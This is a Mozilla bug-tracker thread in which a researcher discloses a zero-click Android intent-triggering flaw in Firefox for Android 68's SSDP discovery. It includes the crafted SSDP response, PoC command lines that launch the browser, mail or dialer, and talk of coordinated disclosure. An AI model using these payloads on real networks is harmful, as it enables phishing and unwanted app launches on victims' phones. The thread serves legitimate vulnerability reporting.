1659381 - Zero user-interaction triggering of intents over LAN

Status: RESOLVED WONTFIX

(Fenix :: General, defect)

Description

[initstring]

Attachment: ssdp.py

Hi Mozilla!

First, thanks for all your hard work over the years. I've been an avid user for a long time and in general am a huge fan of the work that you do. Thanks so much, and I hope you are all ok during both these crazy times and the unfortunate downsizing. Now, on to the bug...

Overview

The SSDP engine in Firefox Mobile 68.11.0 can be tricked into triggering Android intent URIs with zero user-interaction, by attackers on the same wireless LAN. This manifests in applications running on the target device suddenly launching, without the user's permission or awareness, and conducting activities allowed by the intent.

The target simply has to have the Firefox application running on their phone. They do not need to access any malicious website or click any malicious links.

Technical details

The Firefox application periodically sends out SSDP broadcasts, looking for devices on the network. My assumption is that this is for discovering second-screen type devices (Roku, for example). These broadcasts look like this:

M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: roku:ecp
Man: "ssdp:discover"
MX: 3

Any device on the local network can respond to these broadcasts, and provide the LOCATION of a UPNP device descriptor file. Firefox will then attempt to access that LOCATION to learn more about the UPNP device.

This is where the vulnerability comes in. Instead of providing the location of an XML file describing a UPNP device, an attacker can run a malicious SSDP server that responds with a specially crafted message pointing to an Android intent. Then, that intent will be invoked by the Firefox application itself.

For example, responding with a message like the following would force any Android phones on the local network with Firefox running to suddenly launch a browser to http://example.com:

HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

POC

I've spent a bit of time developing attack POCs for SSDP vulnerabilities on other platforms, using a tool I wrote called evil-ssdp. I created a modified version of that tool specifically to demonstrate the Firefox vulnerability. It's attached to this bug report as ssdp.py.

Here is a way to demonstrate forcing all phones on the LAN to pop up a web browser to http://example.com:

First, run the exploit on a Linux laptop that is connected to the same wireless network as your Android device. Disable the local firewall while testing.

# Replace "wlps0" with the wireless device on your attacking machine.
python3 ./ssdp.py wlps0 -t "intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end"

Then, open Firefox for Android on your Android device. It should go to http://example.com within a few seconds, and you'll see some logging in the attack tool as well. If Firefox is already running on your Android device, the attack will occur at the next SSDP polling interval.

An attacker may use a URL a bit more dangerous than example.com, such as an xpi file with a malicious browser extension or a phishing site, etc. Because the POC tool is quite persistent (it will force the user to the site over and over), it is likely the user will eventually click past warnings just to make the device usable.

Another example is to call other applications. Running the attack tool like this will pop the mail application with arbitrary text. Pretty scary to have happen on your device when you're just minding your own business:

# Replace "wlps0" with the wireless device on your attacking machine.
python3 ./ssdp.py wlps0 -t "mailto:[e-mail]?subject=I've%20been%20hacked&body=OH%20NOES!!!"

And one more, just for testing purposes. This will just pop the dialer:

python3 ./ssdp.py wlps0 -t "tel://111"

Remediation

Strict validation of the LOCATION header in SSDP replies should be performed. The protocol should be "HTTP" or "HTTPS", and the content at the actual location should be XML. Redirects should not be followed.

Impact

This vulnerability resembles RCE (remote code execution) in that a remote (on same local area network) attacker can trigger the device to perform unauthorized functions with zero interaction from the end user. However, that execution is not totally arbitrary in that it can only access defined intents. This could be executed to carry out highly-effective phishing attacks, trick users into installing malicious apps or plugins, or to target intents of other applications that expose their own vulnerabilities.

Testing Details

Tested successfully on:

• Xperia XZ1 Compact w/ Android 9 and Firefox 68.11.0
• Nexus 6P w/ Android 8.1 and Firefox 68.11.0
• Pixel 2 w/ Android 9 and Firefox 68.11.0

Comment 1

[:Gijs (he/him)]

(In reply to initstring from comment #0)

First, thanks for all your hard work over the years. I've been an avid user for a long time and in general am a huge fan of the work that you do. Thanks so much, and I hope you are all ok during both these crazy times and the unfortunate downsizing.

Thank you!

Now, on to the bug...

Overview

The SSDP engine in Firefox Mobile 68.11.0

I'm not on the mobile team, but we've started shipping a completely rewritten Firefox for Android. Can you clarify if it has the same issue? From a quick look it would appear it doesn't support casting (yet) - https://github.com/mozilla-mobile/fenix/issues/3068 - so I'm guessing it may not have SSDP functionality either...

Comment 2

[Kevin Brosnan [Ex-Mozilla]]

This code does not exist on Fenix. Firefox for Android 68 is EOL https://www.mozilla.org/en-US/firefox/android/68.11.0/releasenotes/ and https://support.mozilla.org/en-US/kb/firefox-android-68-and-earlier-end-support

Comment 3

[initstring]

Hi Kevin & Gijs, thanks for the reply. The new version (79) does not have the bug. I realize I'm a bit late to this party, I should have found it a couple months ago. :)

Google Play Store still is serving up the vulnerable version 68.11.0, at least here in Australia. Just FYI.

Comment 4

[Kevin Brosnan [Ex-Mozilla]]

We are in the process of rolling out this version. It is a big change and we have been working through releasing it by country. If our plan holds we should complete the migration by early September if not sooner. You can see shipped countries at https://arewefenixyet.com/

Comment 5

[initstring]

Cool link, thanks Kevin!

I will hold off on writing anything public on this until it looks like the update is available for everyone.

BTW, tried the nightly and it feels really snappy. Nice work. :)

Comment 6

[initstring]

Sorry - one question. Do you happen to know where I can find the code that is responsible for the original vulnerability reported? If it's a library possibly included in other apps, I'd like to re-use my tool in further disclosures.

Thanks!

Comment 7

[:Gijs (he/him)]

(In reply to initstring from comment #6)

Sorry - one question. Do you happen to know where I can find the code that is responsible for the original vulnerability reported? If it's a library possibly included in other apps, I'd like to re-use my tool in further disclosures.

Thanks!

I believe it's https://searchfox.org/mozilla-esr68/source/toolkit/modules/secondscreen/SimpleServiceDiscovery.jsm#40 .

From some quick web searches, I doubt it's used outside of Firefox for Android.

However, it does also appear that the code is still in current versions of mozilla-central, and is packaged for android ( https://searchfox.org/mozilla-central/rev/fa7f47027917a186fb2052dee104cd06c21dd76f/toolkit/modules/moz.build#264 ) but based on the comments here, it's unused...

If I had to guess what would happen if we were to add casting functionality back to Fenix, it's quite possible we'd reuse this code and effectively reopen this bug. Should we either remove the code from the repo, or fix it in the currently-dead-but-maybe-not-in-future module? It looks pretty straightforward to address anyway... :kbrosnan, what do you think?

Comment 8

[Kevin Brosnan [Ex-Mozilla]]

Thanks for noticing this Gijs. Code was custom written for Firefox in bug 938571. I've opened bug 1659780 for removing that code. If you encounter any other toolkit legacy fennec code opening an issue and blocking bug 1582218 is helpful.

Comment 9

[initstring]

Great info, thanks!

Comment 10

[Frederik Braun [:freddy]]

I've just been told that OS_TARGET is set to Android on Fenix and Fennec, so removing Dan's change again.

Comment 11

[Daniel Veditz [:dveditz]]

We WONTFIXed this based on the fact that it was only Fennec. Does that mean we have to reopen this?

Comment 12

[Kevin Brosnan [Ex-Mozilla]]

There is nothing that uses this code in Fenix. Do we think that the JSM would get called if Gecko sees a SSDP device on the LAN?

Comment 13

[initstring]

(In reply to Kevin Brosnan [:kbrosnan] from comment #12)

There is nothing that uses this code in Fenix. Do we think that the JSM would get called if Gecko sees a SSDP device on the LAN?

Hi Kevin! Is this something I can help you test?

My machines at home are all running Kubuntu 20.04, and I am not seeing any SSDP behaviour from Firefox 76.0.1 on the desktop. But I do see articles like this (https://support.mozilla.org/en-US/kb/how-stop-firefox-making-automatic-connections) suggesting SSDP is built in.

I'm downloading a Windows VM image now and can check that later today or this weekend.

I have found multiple vulnerabilities in other (non-Mozilla) desktop/server applications using SSDP before. These were things like:

• The SSDP engine was vulnerable to XML External Entity (XXE) attacks (Plex, Vuze, other media servers)
• The SSDP engine would load SMB:// links from a Windows host, passing the net-NTLM challenge/response which could be cracked into a clear password (some Windows apps)
• The SSDP engine would follow redirects, permitting things like blind-SSRF (Windows 10 OS, Microsoft didn't care)

I'm not a browser expert, and am not quite sure what the attack surface of JSM is (or even what it is). But if there is something specific you want me to try, I can give it a go. Just let me know.

Thanks!

• Chris

Comment 14

[Kevin Brosnan [Ex-Mozilla]]

If you have an Android device/emulator install the current Firefox for Android Nightly and see if it pings for any SSDP devices or if you are able to trigger the intent behavior you are reporting.

Comment 15

[initstring]

(In reply to Kevin Brosnan [:kbrosnan] from comment #14)

If you have an Android device/emulator install the current Firefox for Android Nightly and see if it pings for any SSDP devices or if you are able to trigger the intent behavior you are reporting.

Sorry about that! I thought you were referring to a core component that could be present in non-mobile versions.

I don't see any SSDP activity from nightly for Android.

Comment 16

[:Gijs (he/him)]

(In reply to initstring from comment #13)

But I do see articles like this (https://support.mozilla.org/en-US/kb/how-stop-firefox-making-automatic-connections) suggesting SSDP is built in.

Thanks for flagging this. A long time ago we tried to enable the functionality on desktop. It never went anywhere for various reasons. It hasn't been in desktop builds for years now. It looks like the article just wants updating. It's mainly there for people who are hyper vigilant about any non-user-initiated network connections Firefox might make. I've submitted an update for the support page so it doesn't include this when opened with anything >= Firefox 57.

Comment 17

[initstring]

Thanks was fast work, Gijs, thanks!

In general, I see that everyone is Fenix now (https://arewefenixyet.com/). Very cool!

When would the team feel comfortable with me writing a blog about the bug? Is it safe to assume that everyone who has a device with automatic updates should be patched come next week?

Comment 18

[:Gijs (he/him)]

(In reply to initstring from comment #17)

Thanks was fast work, Gijs, thanks!

In general, I see that everyone is Fenix now (https://arewefenixyet.com/). Very cool!

When would the team feel comfortable with me writing a blog about the bug? Is it safe to assume that everyone who has a device with automatic updates should be patched come next week?

Based on what I know of desktop, I would doubt it - but best ask people who know about our mobile update story. Kevin?

Comment 19

[Kevin Brosnan [Ex-Mozilla]]

We don't set any terms when it comes to blogging about items disclosed to us. In practice I have seen 60d to a year plus before a writeup is published. We still have a significant amount of users who are still on 68 and are eligible for an upgrade. We hit 100% rollout for the Fenix release on August 27. Two weeks for our users in North America to update feels short to me.

NI to Dan to double check what I have mentioned about blogging timeframes.

Comment 20

[initstring]

Thanks everyone.

No rush. I generally mention a 30/60/90 day timeline in initial report (based on severity), as unfortunately sometimes it's the only way to get a vendor to fix the bug. Mozilla is obviously not that type of organization, and this was a special case as a new version was already rolling out.

Once the bug is patched, it's a balance between timing so that enough people are patched and yet also giving people a reason to patch if for some reason they have not. It's tough to get it right all the time.

In the case of this app, I made an assumption that most Android device would use the default settings to force the update quickly on the user. But it sounds like perhaps a significant number of users have disabled automated updates from the Play store, based on the 40-50% you gave above.

I could aim for 15th of October, which is 60 days from the initial report and gives users 49 days for their devices to update.

Let me know if there are any objections and we can figure something out.

Thanks, have a great week everyone!

Comment 21

[Frederik Braun [:freddy]]

(In reply to Daniel Veditz [:dveditz] from comment #11)

We WONTFIXed this based on the fact that it was only Fennec. Does that mean we have to reopen this?

I debugged on-device and looked for actual references to that module. I don't think we need to reopen, that code doesnt seem to be used. (We should still remove the code though.)

Comment 22

[:Gijs (he/him)]

(In reply to Frederik Braun [:freddy] from comment #21)

(In reply to Daniel Veditz [:dveditz] from comment #11)

We WONTFIXed this based on the fact that it was only Fennec. Does that mean we have to reopen this?

I debugged on-device and looked for actual references to that module. I don't think we need to reopen, that code doesnt seem to be used. (We should still remove the code though.)

Yep, this is bug 1659780 which Kevin filed based on the earlier discussion - do you have cycles to take that proverbial broom through the cupboard / unused bedroom? :-)

Comment 23

[Daniel Veditz [:dveditz]]

In the case of this app, I made an assumption that most Android device would use the default settings to force the update quickly on the user. But it sounds like perhaps a significant number of users have disabled automated updates from the Play store, based on the 40-50% you gave above.

It's more that a lot of folks only upgrade on WiFi (the default due to data costs, I believe?), and aren't connected often enough to get updates (of anything) very quickly. If you wouldn't mind waiting until Sept 15 (3 weeks after the ship date) that should be a reasonable balance. People will still be updating long after that, but at a slower rate that would be unreasonable to wait for.

Comment 24

[initstring]

(In reply to Daniel Veditz [:dveditz] from comment #23)

In the case of this app, I made an assumption that most Android device would use the default settings to force the update quickly on the user. But it sounds like perhaps a significant number of users have disabled automated updates from the Play store, based on the 40-50% you gave above.

It's more that a lot of folks only upgrade on WiFi (the default due to data costs, I believe?), and aren't connected often enough to get updates (of anything) very quickly. If you wouldn't mind waiting until Sept 15 (3 weeks after the ship date) that should be a reasonable balance. People will still be updating long after that, but at a slower rate that would be unreasonable to wait for.

Of course, that makes perfect sense. Thanks for the insight Daniel! I'll plan to publish on the 15th, but if something changes for any reason just drop a note here.

I did just have the realization that many non-upgraded users seem to be at no risk of attack here. The attack works over WiFi, so those who do not connect to WiFi to update can't be targeted.

Comment 25

[Kevin Brosnan [Ex-Mozilla]]

All the info on this bug is public on the blog post. No need for this to be a private bug anymore. We did not identify any other active consumers of the code that was found in comment 7.

If users are unable to upgrade their Firefox for Android setting browser.casting.enabled to false in about:config should disrupt this. This will disable the ability to share videos to a Chromecast or Roku on your local network.